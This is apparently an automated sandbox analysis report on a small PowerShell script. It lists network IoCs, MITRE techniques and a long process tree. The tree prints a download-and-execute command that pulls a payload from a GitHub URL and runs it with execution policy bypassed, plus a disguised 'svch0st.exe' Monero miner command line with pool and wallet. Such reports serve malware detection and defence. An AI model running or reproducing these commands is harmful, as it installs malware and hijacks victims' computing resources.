4eee3d7e18de46f1b9c2edaab24af455b8778dbdd61a1244b830204178cc3239

Analysis

max time kernel
14s
max time network
7s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/05/2026, 04:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a.ps1
Size 167B
Sample260501-e51syaby31
SHA256 4eee3d7e18de46f1b9c2edaab24af455b8778dbdd61a1244b830204178cc3239
MD5 1d6577a80f1ec6ee40df87f8cb83c96d
SHA1 a1ba988d14e915606870cdcdf642e156f6355f44
SHA512 f3c329af79e5bf30e5ba3c3cf115c7b92a1d0740362a4d77795cc8f87c0f92b9d9614b5620b800a6dba622e6d6f421bd2570ac67e87dd3162985084dc72ed6c1
TLSH
T108C0C0600001452C43126045CA708FC4437930A4B5128111FE705ECC82D03701600258
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5956	powershell.exe
3	5956	powershell.exe
4	5956	powershell.exe
5	5956	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
5588	svch0st.exe
4628	svch0st.exe
5200	svch0st.exe
3884	svch0st.exe
4956	svch0st.exe
5240	svch0st.exe
4948	svch0st.exe
3420	svch0st.exe
5992	svch0st.exe
5408	svch0st.exe
3820	svch0st.exe
5948	svch0st.exe
4396	svch0st.exe
5188	svch0st.exe
4340	svch0st.exe
1148	svch0st.exe
1564	svch0st.exe
1992	svch0st.exe
4888	svch0st.exe
5748	svch0st.exe
1776	svch0st.exe
2120	svch0st.exe
6044	svch0st.exe
3052	svch0st.exe
3660	svch0st.exe
5280	svch0st.exe
5312	svch0st.exe
2440	svch0st.exe
244	svch0st.exe
5544	svch0st.exe
5308	svch0st.exe
5444	svch0st.exe
4416	svch0st.exe
1120	svch0st.exe
2056	svch0st.exe
3148	svch0st.exe
4916	svch0st.exe
6032	svch0st.exe
2492	svch0st.exe
4664	svch0st.exe
4812	svch0st.exe
4820	svch0st.exe
5064	svch0st.exe
4264	svch0st.exe
5124	svch0st.exe
988	svch0st.exe
1840	svch0st.exe
3868	svch0st.exe
5524	svch0st.exe
540	svch0st.exe
2528	svch0st.exe
3664	svch0st.exe
3228	svch0st.exe
6196	svch0st.exe
6204	svch0st.exe
6308	svch0st.exe
6320	svch0st.exe
6420	svch0st.exe
6448	svch0st.exe
6532	svch0st.exe
6544	svch0st.exe
6644	svch0st.exe
6676	svch0st.exe
6756	svch0st.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
1	discord.com
2	raw.githubusercontent.com
3	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
4	api.ipify.org

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5532	PowerShell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2352	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5532	PowerShell.exe
5532	PowerShell.exe
5956	powershell.exe
5956	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5532	PowerShell.exe
Token: SeDebugPrivilege	5956	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5532 wrote to memory of 5956	5532	PowerShell.exe	81
PID 5956 wrote to memory of 5588	5956	powershell.exe	82
PID 5956 wrote to memory of 2352	5956	powershell.exe	84
PID 5588 wrote to memory of 4628	5588	svch0st.exe	85
PID 4628 wrote to memory of 5200	4628	svch0st.exe	87
PID 5200 wrote to memory of 3884	5200	svch0st.exe	90
PID 3884 wrote to memory of 4956	3884	svch0st.exe	92
PID 4956 wrote to memory of 5240	4956	svch0st.exe	95
PID 5240 wrote to memory of 4948	5240	svch0st.exe	97
PID 3420 wrote to memory of 5992	3420	svch0st.exe	100
PID 4948 wrote to memory of 5408	4948	svch0st.exe	102
PID 5992 wrote to memory of 3820	5992	svch0st.exe	104
PID 5408 wrote to memory of 5948	5408	svch0st.exe	106
PID 3820 wrote to memory of 4396	3820	svch0st.exe	108
PID 5948 wrote to memory of 5188	5948	svch0st.exe	110
PID 4396 wrote to memory of 4340	4396	svch0st.exe	112
PID 5188 wrote to memory of 1148	5188	svch0st.exe	114
PID 4340 wrote to memory of 1564	4340	svch0st.exe	116
PID 1148 wrote to memory of 1992	1148	svch0st.exe	118
PID 1564 wrote to memory of 4888	1564	svch0st.exe	119
PID 1992 wrote to memory of 5748	1992	svch0st.exe	122
PID 4888 wrote to memory of 1776	4888	svch0st.exe	124
PID 5748 wrote to memory of 2120	5748	svch0st.exe	126
PID 1776 wrote to memory of 6044	1776	svch0st.exe	128
PID 2120 wrote to memory of 3052	2120	svch0st.exe	130
PID 6044 wrote to memory of 3660	6044	svch0st.exe	132
PID 3052 wrote to memory of 5280	3052	svch0st.exe	134
PID 3660 wrote to memory of 5312	3660	svch0st.exe	136
PID 5280 wrote to memory of 2440	5280	svch0st.exe	138
PID 5312 wrote to memory of 244	5312	svch0st.exe	140
PID 2440 wrote to memory of 5544	2440	svch0st.exe	142
PID 244 wrote to memory of 5308	244	svch0st.exe	144
PID 5544 wrote to memory of 5444	5544	svch0st.exe	146
PID 5308 wrote to memory of 4416	5308	svch0st.exe	148
PID 5444 wrote to memory of 1120	5444	svch0st.exe	150
PID 4416 wrote to memory of 2056	4416	svch0st.exe	152
PID 1120 wrote to memory of 3148	1120	svch0st.exe	154
PID 2056 wrote to memory of 4916	2056	svch0st.exe	156
PID 3148 wrote to memory of 6032	3148	svch0st.exe	158
PID 4916 wrote to memory of 2492	4916	svch0st.exe	160
PID 6032 wrote to memory of 4664	6032	svch0st.exe	161
PID 4664 wrote to memory of 4812	4664	svch0st.exe	164
PID 2492 wrote to memory of 4820	2492	svch0st.exe	165
PID 4820 wrote to memory of 5064	4820	svch0st.exe	168
PID 4812 wrote to memory of 4264	4812	svch0st.exe	169
PID 4264 wrote to memory of 5124	4264	svch0st.exe	172
PID 5064 wrote to memory of 988	5064	svch0st.exe	174
PID 5124 wrote to memory of 1840	5124	svch0st.exe	176
PID 988 wrote to memory of 3868	988	svch0st.exe	178
PID 1840 wrote to memory of 5524	1840	svch0st.exe	180
PID 3868 wrote to memory of 540	3868	svch0st.exe	182
PID 5524 wrote to memory of 2528	5524	svch0st.exe	184
PID 540 wrote to memory of 3664	540	svch0st.exe	186
PID 2528 wrote to memory of 3228	2528	svch0st.exe	188
PID 3664 wrote to memory of 6196	3664	svch0st.exe	190
PID 3228 wrote to memory of 6204	3228	svch0st.exe	191
PID 6204 wrote to memory of 6308	6204	svch0st.exe	194
PID 6196 wrote to memory of 6320	6196	svch0st.exe	195
PID 6308 wrote to memory of 6420	6308	svch0st.exe	198
PID 6320 wrote to memory of 6448	6320	svch0st.exe	200
PID 6448 wrote to memory of 6532	6448	svch0st.exe	202
PID 6420 wrote to memory of 6544	6420	svch0st.exe	203
PID 6532 wrote to memory of 6644	6532	svch0st.exe	206
PID 6544 wrote to memory of 6676	6544	svch0st.exe	208

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\a.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -noni -w normal -ep bypass -c "iex((iwr 'https://raw.githubusercontent.com/extonix8-ctrl/sigma/refs/heads/main/payload.ps1' -UseBasicParsing).Content)"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5956
- - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5588
  - - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4628
    - - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5200
      - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3884
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4956
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        8⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5240
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        9⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4948
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        10⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5408
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        11⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5948
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        12⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5188
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        13⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1148
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        14⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1992
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        15⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5748
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        16⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2120
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        17⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3052
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        18⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5280
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        19⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2440
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        20⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5544
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        21⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5444
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        22⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1120
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        23⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3148
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        24⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6032
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        25⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4664
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        26⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4812
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        27⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4264
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        28⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5124
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        29⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1840
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        30⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5524
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        31⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2528
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        32⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3228
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        33⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6204
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        34⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6308
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        35⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6420
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        36⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6544
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        37⤵
        Executes dropped EXE
        
        PID:6676
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        38⤵
        
        PID:6764
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        39⤵
        
        PID:6888
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        40⤵
        
        PID:6984
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        41⤵
        
        PID:7088
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        42⤵
        
        PID:6328
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        43⤵
        
        PID:7172
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        44⤵
        
        PID:7280
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        45⤵
        
        PID:7384
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        46⤵
        
        PID:7488
        
